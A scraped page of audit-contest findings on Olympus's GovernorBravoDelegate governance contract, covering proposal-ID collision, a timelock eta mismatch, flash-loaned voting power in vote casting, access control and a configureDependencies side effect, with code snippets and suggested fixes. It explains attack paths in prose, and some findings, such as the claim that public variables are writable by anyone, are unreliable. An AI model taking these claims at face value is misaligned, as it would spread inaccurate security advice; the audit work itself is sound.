https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L159-L160

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L177

Tool used

Manual Review

Recommendation

Enhance the mechanism for generating and assigning proposal IDs to ensure uniqueness and prevent any possibility of collision. Consider using a more robust method for managing proposal IDs that does not solely rely on incrementing a counter. Additionally, implement comprehensive checks and fail-safes to handle any unexpected state or behavior that could lead to ID collision.

Anubis - Potential for Proposal Execution Delay due to Timelock Mismatch

Anubis

medium

Potential for Proposal Execution Delay due to Timelock Mismatch

Summary

The GovernorBravoDelegate contract integrates with a Timelock contract for executing queued proposals. However, there is a potential mismatch between the proposal eta calculation in the governance contract and the actual execution time window defined in the Timelock contract, potentially leading to delays or failures in executing proposals.

Vulnerability Detail

The contract calculates an eta for each proposal based on the current block timestamp and the timelock delay. However, this calculation does not account for potential changes in the timelock delay or discrepancies between the calculated eta and the actual time window during which the timelock contract allows execution.

Impact

If there is a mismatch between the proposal eta and the actual executable window in the timelock contract, it could lead to situations where proposals are either executed later than expected or unable to be executed due to missing the valid execution window. This could disrupt the governance process and delay critical governance actions.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L216
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L232
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L238-L244
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L248

Tool used

Manual Review

Recommendation

Ensure tight synchronization between the GovernorBravoDelegate contract and the Timelock contract regarding the timing of proposal execution. Consider implementing the following:

  • Consistent Timing Parameters: Align the eta calculation in the GovernorBravoDelegate contract with the execution window in the Timelock contract. This could involve directly fetching timing parameters from the Timelock contract when calculating eta.
  • Validation of Execution Window: Implement checks in the execute function to ensure that the proposal is within the valid execution window as defined by the Timelock contract before attempting execution.

Here's a conceptual code snippet illustrating how you might implement alignment of timing parameters:

function queue(uint256 proposalId) external {
    ...
    // Ensure eta is calculated based on the current timelock delay
    uint256 eta = block.timestamp + timelock.delay();
    ...
    for (uint256 i = 0; i < proposal.targets.length; i++) {
        _queueOrRevertInternal(
            proposal.targets[i],
            proposal.values[i],
            proposal.signatures[i],
            proposal.calldatas[i],
            eta
        );
    }
    ...
}

function execute(uint256 proposalId) external payable {
    ...
    // Ensure the proposal is executed within the valid window
    require(
        block.timestamp >= proposals[proposalId].eta &&
        block.timestamp <= proposals[proposalId].eta + timelock.GRACE_PERIOD(),
        "GovernorBravoDelegate: Proposal outside of valid execution window"
    );
    ...
}

In this modification, the queue function calculates eta based on the current delay from the Timelock contract, and the execute function checks that the current timestamp is within the valid execution window defined by the Timelock contract before executing the proposal.

cawfree - Governance Manipulation: Insufficient protection from flash loaned voting power whilst casting a vote.

cawfree

medium

Governance Manipulation: Insufficient protection from flash loaned voting power whilst casting a vote.

Summary

Insufficient protections from flash loaned $gOHM whilst a vote is being cast.

Vulnerability Detail

GovernorBravoDelegate avoids susceptibility to flash-loaned voting power by only accumulating voting power from a finalized block:

gohm.getPriorVotes(proposal.proposer, block.number - 1)

But this is not applied consistently.

During invocations to castVoteInternal(address,uint256,uint8), flash loan resistance protections are incorrectly implemented:

// Get the user's votes at the start of the proposal and at the time of voting. Take the minimum.
uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

Notice that both originalVotes and currentVotes do not attempt to execute a lookbehind on voting history.

The likely reason for this is because any attempt to subvert the checks through temporary voting weight amplification will be nullified through the selection of only the minimum finalized voting power between the two reference points:

uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

These protections are also robust against attempting to flash loan voting power within the same block as a call to propose(address[],uint256[],string[],bytes[],string), since a proposal comes out of ProposalState.Pending only after the startBlock already has elapsed:

else if (block.number <= proposal.startBlock) { // cannot_flash_in_same_block
    return ProposalState.Pending;
}

However, these protections are not sufficient against an actor who once held a sizeable $gOHM position around the time the proposal was first submitted, but has since sold that position.

This is because whilst casting a vote, it would be possible to flash loan voting power to select the maximum between these two extrema of voting weight.

Tip

This flaw is also vulnerable in the opposite direction.

Consider the case where a voter's eventual invocation of castVoteInternal(address,uint256,uint8) is frontrun by a delegation action which conspires to diminish their voting power.

Impact

Unfair amplification or attenuation of voting power.

Code Snippet

/**
 * @notice Internal function that carries out voting logic
 * @param voter The voter that is casting their vote
 * @param proposalId The id of the proposal to vote on
 * @param support The support value for the vote. 0=against, 1=for, 2=abstain
 * @return The number of votes cast
 */
function castVoteInternal(
    address voter,
    uint256 proposalId,
    uint8 support
) internal returns (uint256) {
    if (state(proposalId) != ProposalState.Active) revert GovernorBravo_Vote_Closed();
    if (support > 2) revert GovernorBravo_Vote_InvalidType();
    Proposal storage proposal = proposals[proposalId];
    Receipt storage receipt = proposal.receipts[voter];
    if (receipt.hasVoted) revert GovernorBravo_Vote_AlreadyCast();

    // Get the user's votes at the start of the proposal and at the time of voting. Take the minimum.
    uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
    uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
    uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

    if (support == 0) {
        proposal.againstVotes += votes;
    } else if (support == 1) {
        proposal.forVotes += votes;
    } else if (support == 2) {
        proposal.abstainVotes += votes;
    }

    receipt.hasVoted = true;
    receipt.support = support;
    receipt.votes = votes;

    return votes;
}

Tool used

Vim, Foundry

Recommendation

Ensure we are always comparing properly finalized voting power for both the originalVotes and currentVotes.

GovernerBravoDelegate.sol

// Get the user's votes at the start of the proposal and at the time of voting. Take the minimum.
+
+ // Here, we prevent temporary amplification of voting power. We must
+ // look behind a minimum of two blocks to prevent flash loaned voting
+ // power from being respected within the same block as a proposal
+ // that has moved into the `Active` status.
+ require(block.number - proposal.startBlock > 1);
+
uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
+ uint256 currentVotes = gohm.getPriorVotes(voter, block.number - 1);
uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

Duplicate of #37

Anubis - GovernorBravoDelegateStorage - Lack of Proper Access Control and Data Integrity

Anubis

high

GovernorBravoDelegateStorage - Lack of Proper Access Control and Data Integrity

Summary

The GovernorBravoDelegateStorageV2 contract and its related storage contracts lack proper access control mechanisms for critical state variables and functions, potentially allowing unauthorized modification of governance parameters and proposal records.

Vulnerability Detail

Critical state variables such as votingDelay, votingPeriod, proposalThreshold, and mappings like proposals and latestProposalIds are public with no explicit setter functions containing access control mechanisms. This could allow unauthorized actors to modify governance settings or tamper with proposal records.

Impact

An attacker could exploit this vulnerability to disrupt the governance process by altering governance parameters or tampering with proposal records, potentially leading to incorrect governance decisions, loss of funds, or undermining the governance system's integrity.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/abstracts/GovernorBravoStorage.sol#L91-L117

Tool used

Manual Review

Recommendation

Implement access control mechanisms such as the onlyAdmin modifier for functions that modify critical state variables or governance parameters. Ensure that state variables that hold sensitive data are either private or have controlled, restricted access.

Code Snippet for Fix:

// Use the onlyAdmin modifier for functions that should be restricted
modifier onlyAdmin {
    require(msg.sender == admin, "GovernorBravoDelegateStorage: Unauthorized");
    _;
}

function setVotingDelay(uint256 _votingDelay) public onlyAdmin {
    votingDelay = _votingDelay;
    emit VotingDelayUpdated(_votingDelay);
}

function setVotingPeriod(uint256 _votingPeriod) public onlyAdmin {
    votingPeriod = _votingPeriod;
    emit VotingPeriodUpdated(_votingPeriod);
}

function setProposalThreshold(uint256 _proposalThreshold) public onlyAdmin {
    proposalThreshold = _proposalThreshold;
    emit ProposalThresholdUpdated(_proposalThreshold);
}

// ...similar setters for other critical state variables with proper access control

By enforcing access control and ensuring the integrity of critical governance data, the contract can prevent unauthorized modifications, maintaining the governance system's integrity and intended behavior.

ravikiran.web3 - GovernorBravoDelegate::propose() function is incorrectly updating the state variables for policy contracts

ravikiran.web3

high

GovernorBravoDelegate::propose() function is incorrectly updating the state variables for policy contracts

Summary

GovernorBravoDelegate::propose() function looks for any high risk proposals by calling _isHighRiskProposal() function to ensure qualified voting is there to support such proposals. In the process of evaluating the high risk proposals, the delegate contract makes call to configureDependencies() on policy contract to get the list of dependencies.

But, configureDependencies() is not a view only function to return list of dependencies, but instead it is a function that configures the state variables for the policies, actually intended to be called by kernel for sync updates, if any changes happen in the setup at kernel level.

This is an incorrect usage of configureDependencies() function to read dependencies and could impact the protocol negatively.

Vulnerability Detail

The call to _isHighRiskProposal() to decide whether there is any upgrade on the policy contract incorrectly updates the configuration of the policy contracts.

Example contracts that updates the state variables are

1) appraiser   
2) operator
3) BunniManager   

Impact

Unexpected change in behavior of the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L611-L670

call to configureDependencies() on policy, some of those policies updates state variables on the policy contract.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L655-L656

Tool used

Manual Review

Recommendation

Provision a separate function in policies to return dependencies so that this conflict does not arise.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.